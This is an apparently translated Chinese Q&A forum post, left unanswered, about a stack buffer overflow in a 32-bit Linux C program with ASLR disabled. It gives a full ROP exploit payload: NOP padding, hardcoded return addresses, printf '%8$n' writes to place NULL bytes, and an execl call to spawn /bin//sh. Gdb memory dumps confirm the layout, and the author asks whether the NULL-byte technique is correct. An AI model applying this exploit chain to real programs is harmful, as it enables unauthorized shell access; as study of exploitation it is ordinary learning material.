堆栈缓冲区溢出-ROP问题和NULL字节

时间:2018-10-28 15:20:47

标签: buffer overflow

在32位Linux操作系统上运行的C程序容易受到堆栈缓冲区溢出的影响。通过网络将攻击性代码发送到易受攻击的程序后,系统将生成核心文件。 ASLR已禁用:

# echo 0 > /proc/sys/kernel/randomize_va_space

分段错误发生在一个真实的已知漏洞函数中,我们将其称为function_1。backtrace.txt报告以下行:

#3  0x0819daa7 in function_1

在gdb中,我进入第3帧以检查内存:

(gdb) frame 3

想知道有多少字节可以到达返回地址。经过一些测试,我可以进入RET地址。通过用524 NOP加4 * A填充缓冲区。 A会覆盖保存的ebp,以验证这一点:

(gdb) x/x $ebp
0xb6256888:    0x41414141

在这一点上,我想通过写入具有一些有用地址(ROP)的内存来绕过不可执行的堆栈。简而言之,我想以这种方式填充缓冲区:

524NOP | 4A | addr.printf() | addr.POP\RET | addr.%8$n | addr.printf() | addr.POP\RET | addr.%8$n | addr.execl() | addr.exit() | addr./bin//sh | addr./bin//sh | addr.at this point (ebp+44) | string /bin//sh (takes 8byte memory) | addr.at this point (ebp+56) | string %8$n (takes 4 byte memory) | \x00

通过网络发送此代码:

"$(python -c 'print
524*"\x90" +
4*"A" +
"\x10\xa4\xc5\xb7" +    ;addr.printf()
"\xdd\x91\x06\x08" +    ;addr.POP\RET
"\xc4\x68\x25\xb6" +    ;addr.%8$n
"\x10\xa4\xc5\xb7" +    ;addr.printf()
"\xdd\x91\x06\x08" +    ;addr.POP\RET
"\xc4\x68\x25\xb6" +    ;addr.%8$n
"\x30\x59\xcc\xb7" +    ;addr.execl()
"\x60\x02\xc4\xb7" +    ;addr.exit()
"\xb8\x68\x25\xb6" +    ;addr./bin//sh
"\xb8\x68\x25\xb6" +    ;addr./bin//sh
"\xb4\x68\x25\xb6" +    ;ebp+44
"\x2f\x62\x69\x6e\x2f\x2f\x73\x68" +    ;string /bin//sh
"\xc0\x68\x25\xb6" +    ;ebp+56
"\x25\x38\x24\x6e" +    ;string %8$n
"\x00\x00\x00\x00"')"

使用gdb检查内存:

(gdb) x/wx $ebp+4           
0xb625688c:    0xb7c5a410     ;addr of printf (taken from p printf)

(gdb) x/wx $ebp+8
0xb6256890:    0x080691dd     ;addr of POP/RET (see below)

(gdb) x/wx $ebp+12
0xb6256894:    0xb62568c4     ;addr of string %8$n
(gdb) x/s 0xb62568c4
0xb62568c4:    "%8$n"

(gdb) x/wx $ebp+16
0xb6256898:    0xb7c5a410

(gdb) x/wx $ebp+20
0xb625689c:    0x080691dd

(gdb) x/wx $ebp+24
0xb62568a0:    0xb62568c4

(gdb) x/wx $ebp+28
0xb62568a4:    0xb7cc5930     ;addr of execl (taken from p execl)

(gdb) x/wx $ebp+32
0xb62568a8:    0xb7c40260     ;addr of exit (taken from p exit)

(gdb) x/wx $ebp+36
0xb62568ac:    0xb62568b8     ;addr of string /bin//sh
(gdb) x/s 0xb62568b8
0xb62568b8:    "/bin//sh\300h%\266%8$n"

(gdb) x/wx $ebp+40
0xb62568b0:    0xb62568b8     ;addr of string /bin//sh

(gdb) x/wx $ebp+44
0xb62568b4:    0xb62568b4     ;addr of here (ebp+44)

(gdb) x/s $ebp+48
0xb62568b8:    "/bin//sh\300h%\266%8$n"

(gdb) x/wx $ebp+56
0xb62568c0:    0xb62568c0     ;addr of here (ebp+56)

(gdb) x/s $ebp+60
0xb62568c4:    "%8$n"

我从程序的功能之一获取POP / RET的地址,比如说func2:

(gdb) disas func2
...
0x080691dd <+642>:    pop    %ebp
0x080691de <+643>:    ret 

第一个printf及其参数旨在在ebp + 44处写入NULL字节,我需要NULL作为execl()的第三个参数。

第二个printf及其参数旨在在ebp + 56处写入NULL字节,我需要NULL来终止/ bin // sh字符串。

我的问题是:

1)这是将NULL字节写入execl()的第三个参数的正确方法吗?

2)这是写入NULL字节以终止写入内存的字符串(在这种情况下终止字符串/ bin // sh的方法)的正确方法吗?

3)printf及其参数(%8 $ n的地址)代表“在printf的参数后8 DoubleWORD处找到的内存地址中写入NULL字节”?

0 个答案:

没有答案